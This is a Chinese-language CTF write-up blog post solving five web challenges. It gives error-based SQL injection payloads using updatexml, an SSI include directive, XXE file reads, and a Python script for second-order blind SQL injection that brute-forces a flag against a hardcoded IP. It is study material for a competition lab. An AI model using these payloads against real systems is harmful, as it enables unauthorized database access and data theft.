不多说,又学到知识了!orz.. 记录一下思路。

WEB

1、SimpleBBS

登陆处存在Error-based注入。在注册处用了很多时间,最后通过错误信息发现本来就是不能注册的,登陆处账号密码随便登陆提示“Something wrong”但是在用户名加“’”发现了查询语句和报错信息。

然后构造闭合语句进行报错注入

asd ' or 1=(updatexml(1,concat(0x3a,(database())),1))-- a

database():bbs

asd ' or 1=(updatexml(1,concat(0x3a,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database()limit 3,1)),1))-- a

table_name:flag

asd ' or 1=(updatexml(1,concat(0x3a,(SELECT concat(column_name) FROM  information_schema.columns WHERE table_name=0x666c6167 limit 0,1)),1))-- a

column_name:flag

asd ' or 1=(updatexml(1,concat(0x3a,(SELECT flag FROM flag)),1))-- a

发现flag显示了一部分,用substring分两次得到flag  卡在这里……………………最后还是smi1e师傅给了纠正了

asd ' or 1=(updatexml(1,concat(0x3a,substr((select flag from flag),15,23)),1))-- a

另一种读取方法:

asd ' or 1=(updatexml(1,concat(0x3a,(select substr(flag,15,23) from flag)),1))-- a

2、SimpleServerInjection

提示ssi,第一次遇到这种漏洞,谷歌了一大堆资料……试了很多payload发现命令执行啥的都不行,只有可以利用include包含flag  而且#要经过编码,否则回当成注入。

<!--#include virtual="flag"-->

ssi漏洞还需要单独整理一下。

3、SimpleExtensionExplorerInjection

提示xxe 抓包改包,但是直接xxe是不行的,还需要修改type。

先通过xxe file:///协议读取文件列表  然后直接读取flag

4、SimplePrintEventLogger

与SimpleExtensionExplorerInjection一样,从列出的目录直接读取另一个flag文件即可。

5、SimpleBlog

二次注入。二次注入遇到的还是比较少,这次学到了。思路是利用注册的时候利用注入语句,根据登陆时是否返回分数来判断,也就是说更新分数的时候用到了用户名,导致二次注入。

注册并登陆:

asdf'
asdf'#

发现前者登陆并submit后分数都为0,而后者分数不为0 因此可判断二次注入。

根据分数是否为0来注入,如果分数为0则不正确,分数不为0正确,写脚本:

import string 
import requests
flag = '' 

reg_url = 'http://210.32.4.20/register.php' 
log_url = 'http://210.32.4.20/login.php' 
ans_url = 'http://210.32.4.20/answer.php'
 
for i in range(1,50): 
	for j in range(32,126):
		s=requests.session()
		payload = "' or if((ascii(substr((select flag from flag),%d,1))=%d),1,0)='1' or '"%(i,j)		
		data1 = {'username':payload,'password':'123'}
		res_res = s.post(url=reg_url,data=data1)
		log_res = s.post(url=log_url,data=data1)
		data2 = {'1.a':'on'}
		ans_res = s.post(url=ans_url,data=data2) 
		if 'Your grades is 0' not in ans_res.content:
			flag = flag + chr(j)
			print flag
			break 

 

 

 

分类: WriteUp

发表评论

电子邮件地址不会被公开。 必填项已用*标注